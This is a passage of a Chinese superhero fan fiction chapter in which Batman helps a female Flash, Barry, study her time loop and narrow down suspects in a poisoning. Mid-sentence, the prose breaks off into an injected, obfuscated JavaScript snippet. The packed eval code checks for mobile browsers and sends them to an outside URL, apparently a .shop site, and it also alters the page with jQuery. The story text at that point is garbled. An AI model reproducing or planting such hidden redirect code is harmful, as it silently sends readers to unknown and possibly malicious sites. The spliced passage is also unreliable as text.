蝙蝠侠这样想着,却没有将心里的答案说出来,而是继续展示监控记录:“异常发生在大约一个小时前。中心城是你的城市,我不能贸然处理,需要先和你商量。而且,你是最了解那里的人。” 巴莉心头一紧。一个小时前,那正是她第一次意识到受害人的死亡时间发生变化的瞬间。 “这些波动,”巴莉轻声说,“不只是发生在中心城。” 她抬起头,看着蝙蝠侠:“准确地说,它是在我这里发生的。” “怎么回事?”蝙蝠侠的神情严肃起来,“你因此感觉到什么不适吗?” “我的身体很好,只是遇上了怪事。说出来,你可能不会相信。”巴莉叹了口气。 “说来听听(Try me)。”蝙蝠侠说。 “这不是我第一次经历这一天。”巴莉说,“你看过《土拨鼠之日》吗?那是一部电影。你看过电影吗?” “我看过。”蝙蝠侠见巴莉要长篇大论,赶紧打断,“这部也看过。” “那就简单多了。”巴莉松了口气。她真担心蝙蝠侠对人类的娱乐活动全都不感兴趣,自己得从头解释一遍。“我陷入了时间循环。这是我第四次经历这一天了。” 蝙蝠侠说出自己的观察:“但看你的反应,这是我第一次因为能量波动异常而联系你。” “是的。我想你肯定不是今天早上才开始监控的,所以一定是我在这一次循环里的经历引起了警报。”巴莉说,“我大概能猜到是哪件事。” 蝙蝠侠却没有立刻追问她指的具体是哪件事。他的目光落在她的脸上,像是在衡量她的状态,又像是在推演整个事件的可能走向。 然后,他提议道:“先别告诉我你的结论。从第一次循环开始,把你的经历讲一遍。一切细节都不要遗漏。” “好吧,我正需要一个旁观者用全新的视角来帮我分析。”巴莉答应了,“别嫌我讲得太详细就行了。” 51.第 51 章 “稍等一下。”蝙蝠侠忽然说,随即站起身。 在巴莉略带困惑的注视下,那道黑色的身影无声地离开了圆桌,很快又回来了,并将一个银色托盘放在桌上,托盘上有一壶热茶和几样点心。随后,蝙蝠侠为巴莉倒了一杯茶。 巴莉端起那只精致的瓷杯,杯身纤薄,连同配套的茶碟都带着一种近乎仪式感的优雅。她一时间有些恍惚:这里究竟是正义联盟的临时总部,还是哪家需要提前三个月预约的米其林餐厅? 她更习惯用马克杯,结实、随意、如果不小心打碎了也不至于肉痛。但她不得不承认,这种带着轻微距离感的精致很有趣——虽然出现在这里多少有点违和,但正是这种让人分心的感觉,反而奇异地让人放松下来。 巴莉这时才注意到,这间宽阔而风格冷峻的房间角落里,不知什么时候多出了一处小小的茶歇台。那里整齐地摆放着茶具、咖啡机和几种不同口味的零食,以及一台黑色的冰箱,井然有序又低调的布置与房间风格浑然一体。 “哇——”她拖长了声音,语气里带着一点不可思议,“你居然真的准备了这些,而且比说好的更多。” 蝙蝠侠给自己也倒了一杯茶:“你们的建议很好,我自然会采纳。” 在蝙蝠侠的手中,那只花纹精致、尺寸小巧的茶杯显出一种奇特的反差感,看起来既脆弱又异常安全。巴莉忍不住想笑,因为她分明瞥见台子上整整齐齐摆着一排马克杯,但蝙蝠侠偏偏选了这一套。 她将笑意藏进杯子,低头喝了一口热茶。红茶和果香的气息融合在一起,在舌尖铺开,又温热地顺着喉咙滑下去,让她紧绷的神经悄然松动了一点。 巴莉后知后觉地意识到自己的状态不对——她一直在紧张。她担心被长久地困在这个时间循环里,天知道这样下去会发生什么,但她暂时没有找到解决办法,也不清楚什么时候才能找到,这种不确定感让她的心愈发沉重。 她轻轻呼出一口气,开始讲述自己的经历。从第一天到第四天,从早上到晚上,她讲得太详细了,详细到连自己都隐约觉得有些琐碎。 但蝙蝠侠始终安静地听着。他没有插话,如果不是他偶尔微微点头,或是在她的杯子见底时替她把茶杯重新补满,巴莉几乎会以为自己正对着一块黑色巨石倾诉。 “你还醒着吗?”巴莉终于讲完了,开玩笑地在蝙蝠侠眼前挥挥手,“我是不是讲得过于无聊了?大部分事情只是在每一天里重复了一遍又一遍。” 她收回手,又急切地问:“你的想法是什么?” 蝙蝠侠说:“受害者是一个变量。他的状态变化,可能是打破循环的关键。” 巴莉点了点头,这与她的判断一致:“然后呢?” “以及你。”蝙蝠侠说。 巴莉一愣,随即皱起眉:“什么?我以为你才是另外的变量。你是唯一一个在第一天没有联系我,却在今天忽然联系我的人。” 蝙蝠侠微微摇头:“波动并非发生在受害者死亡的那一刻,而是发生在你意识到变化的时候。重要的不是异常本身,而是你察觉异常的瞬间。” 他看着巴莉,语气中带着微不可查的担忧:“你才是真正的变量。” 巴莉的呼吸微微一滞。 蝙蝠侠补充道:“至于受害者死亡时间的变化,在世界的某种规则里,那是被认定为‘合理’的偏差。” “好吧……你说得对。”巴莉慢慢地点了点头,这个解释的确更合理。但她又忍不住问了一遍:“你真的不算变量吗?我还是觉得你忽然联系我这件事很值得关注。” 蝙蝠侠肯定地说:“在你收到我的信息的那一刻,系统并未观测到异常。” 巴莉一怔,很快反应过来:“也就是说——” “我的行为,没有触发波动。”蝙蝠侠说,“至少目前没有。” “那我接下来该怎么做?尝试做不同的事情,看看哪一个才能触发隐藏剧情吗?”巴莉慢慢地咬着一块饼干。信息太多,方向太多,她反而有些迷失。 “或者找出更多信息,比如杀死受害者的凶手是谁。”蝙蝠侠说,“你刚才提到的那个毒物,之前洛杉矶警局也处理过类似案件,对吗?” “对,艾拉说那个案子就在不久之前。”巴莉点头,“检测过程花了很久,差点就要被当成普通猝死而结案了。” 蝙蝠侠已经在键盘上敲击起来,屏幕上信息流滚动的速度极快,巴莉几乎要觉得他也有超级速度了。他很快找到了一条线索:“这是奎恩工业的新发明,刚刚提交了专利申请。” “奎恩工业在星城,与洛杉矶同在加州,那里有人这么快听说这种新型化学物质并不奇怪。但中心城的人怎么可能这么快就学会了?”巴莉感到有些费解。 蝙蝠侠说:“在犯罪的世界里,这类信息的传播速度远比在警局之间更快。它的效果太好了,隐蔽、难以检测、很容易误导结论。如果不是你一直坚持调查,受害人很可能会被认定是自然死亡。” 巴莉有点得意:“我很擅长我的工作,这也算是一种推理能力吧。” 下一秒,她又皱起脸,苦恼地说:“但我并不擅长真正的破案推理,实在没什么天分。虽然我看过很多侦探小说,但几乎从来猜不中真凶。乔说这是因为我总是脑补太多,思路跑得太偏,无论是小说中的凶手还是现实中的,我都无法对上他们的脑回路。” 她越说,越觉得眼前的局面实在棘手:“我可以找乔询问更多信息,这倒不难,他会把知道的都告诉我。但问题是,即使是他,也不可能在一天,准确地说是半天之内找出凶手。而当我再次经历这一天时,这一点也不会改变,因为我没办法把之前累积的信息告诉他,加快侦破速度——那样也完全不符合警局办案流程。” 蝙蝠侠听着巴莉的语速越来越快,知道那不只是将思考说出口,更是在为情绪寻找一个出口。他耐心地听完,然后说:“这很简单。我可以帮你。” “真的吗?”巴莉半信半疑地看着他,“我以为你主要是以……德服人。” 她的话不自然地顿了一下,脑海里想的其实是——以武德服人。 蝙蝠侠似乎看穿了她的想法,平静地说:“别小看哥谭的罪犯,他们不是只懂得依赖暴力的人。其中不少家伙出乎意料的有脑子。” “但如果我们今天查不出结果怎么办?”巴莉高兴了一瞬,看了看时间之后,又有点担忧。 “在你下一次醒来之后,来找我,”蝙蝠侠理所当然地说,“把现有的调查进度告诉我,我们继续查下去。” “可问题是……明天也许不会再有能量波动了,因为我已经意识到了变化,不会再触发你的系统警示。”巴莉犹豫地说,“如果我贸然跑到哥谭,和你说这么天方夜谭的事情,你会不会觉得我在胡说八道?” “不会。”蝙蝠侠说完,见巴莉仍有顾虑之色,又安慰了一句,“别担心,我会相信你的。” “为什么?”巴莉有点感动,但依然忧心忡忡,“要是对调位置,我肯定会先问你一大串问题。” “但你最终会相信我,不是吗?”蝙蝠侠反问。 “大概吧。”巴莉想了想。 “为什么呢?”蝙蝠侠继续问。 “唔……因为你很可靠。”巴莉说。 “那我的答案也是一样。”蝙蝠侠回答了巴莉之前的问题,“你值得我相信,而且我知道你不会开这种玩笑。” 巴莉喃喃地说:“你真的和我以前想象的完全不一样。” 蝙蝠侠没有问她以前想象的是什么。他能猜到答案。 “好了,现在我们开始调查吧。”他瞬间切换到侦探模式,“先从研发部门的员工开始。” “按照目前知道的信息,人人都有动机,但又似乎不太合理。”巴莉觉得那个动机很弱,“如果只是因为领导很讨厌就杀掉对方,那中心城每天都该少几百个上班族了。” 蝙蝠侠点了点头,认同她的判断:“单纯在工作中积累的负面情绪,通常不足以导致这种极端行为,即便真的失控,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392024|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多半是冲动犯罪,而不是这种经过精心设计的手法。” 他像在给学生上课一样:“犯罪动机通常可以归为两类,金钱或者情感。” “受害人出轨了!”巴莉眼睛一亮,“也许有人看不惯他的这种行为,决定替天行道。行凶者可能是一名虔诚的教徒,说不定是一名神父!” “或者受害人的出轨对象是他的下属。”蝙蝠侠轻咳了一声,阻止巴莉的思维继续朝着奇怪的方向奔跑。 他此刻终于切身体会到了巴莉先前转述的乔的评价——她的确容易脑补过度,为了剧情曲折而进行过度延展的推测。 巴莉鼓起脸颊,然后又泄气了:“好吧。不过殊途同归,我们需要找出哪位员工有途径获取这种新式毒物。” “另外一条线索就是金钱。我会调查受害人的账户,看是否有可疑的大笔进账或支出。”蝙蝠侠说,“研发部门可能会涉及与竞争对手之间的利益往来。” 巴莉明白了:“商业机密?” “可能性之一。这家公司是做合成材料的,”蝙蝠侠看着公司的官方网页,“核心技术的价值很高。” “我们没有搜查令,对吧。”巴莉下意识地说。 蝙蝠侠沉默地看着她,像是在说“你清醒一点,我们做的事情从来都和法律流程没有半点关系”。 巴莉立刻自我纠正:“反正我们只是想赶快破案,走流程的事情就留给乔吧。” 接下来,巴莉看着蝙蝠侠从各种数据库里调取信息。行行数据被调出、筛选、重组——银行流水、通讯记录、公司内部权限、外部联系人名单,在屏幕上交错叠加。信息在蝙蝠侠手中仿佛有了结构,从杂乱无章变得层层递进。 蝙蝠侠并非一味埋头忙碌。相反,他在每一步操作时都会做出简要说明,并不时停下来询问巴莉的看法。 巴莉恍惚间有种置身大学课堂的错觉——深受学生欢迎、没人逃课也没人睡觉的那种——老师不是在刻板地照本宣科,而是生动高效地将理论与实践紧密结合。 她看着蝙蝠侠,心里忍不住好奇,他是天生就这么擅长引导别人思考吗,还是他曾经这样教导过谁?这个念头只停留了一瞬,她的注意力又重新回到案件上。 巴莉专心地与蝙蝠侠讨论着,不断设置筛选条件,直到嫌疑名单上只剩下两个人:一个是受害者的重要下属,有接触机会,也有潜在利益冲突;另一个是和受害者联系频繁的同行,而且刚好在案发前一周,他们的联系频率激增。 “他打算跳槽。”巴莉对他们的调查成果很满意,“我倒戈了,现在我认为他可能打算出卖公司机密,然后被人灭口。” 蝙蝠侠没有否定这个推论,但也没有继续分析下去,而是说:“无论是哪一个,我们今天都来不及完成调查了。” 巴莉奇怪地说:“但距离午夜还有一段时间呢,我们总不能就这么等着吧?或许还能再推进一点。” “我们没有那么久的时间,你随时可能陷入睡眠。”蝙蝠侠提醒道,“我要和你过一遍信息,免得你再见到我的时候,少说了什么。” “你这话也太瞧不起人了吧。”巴莉不满地抗议,“我的记忆力很好的。你看我给你讲这四天的事情,难道不是讲得很清楚吗?” “你在复述经历时没有问题。”蝙蝠侠停顿了一下,“但在总结结论时,你可能会无意识地掺入倾向。” 蝙蝠侠没有解释另一个原因。他清楚地记得,另一个世界的闪电侠抓不住重点,把关键线索淹没在情绪和语无伦次里。 他不确定巴莉会不会这样,但他不打算冒这个风险。他需要巴莉将所有信息有效地传递给第二天的自己。 “好吧。”巴莉妥协了,“如果你坚持的话。不过我还是觉得,你有点多虑了。” 她不想花时间争执。正如蝙蝠侠所说,她随时可能被迫重启进入下一次循环。 整理信息之后,巴莉保证道:“我会严谨地复述的。” 蝙蝠侠点了点头,对她的态度很满意。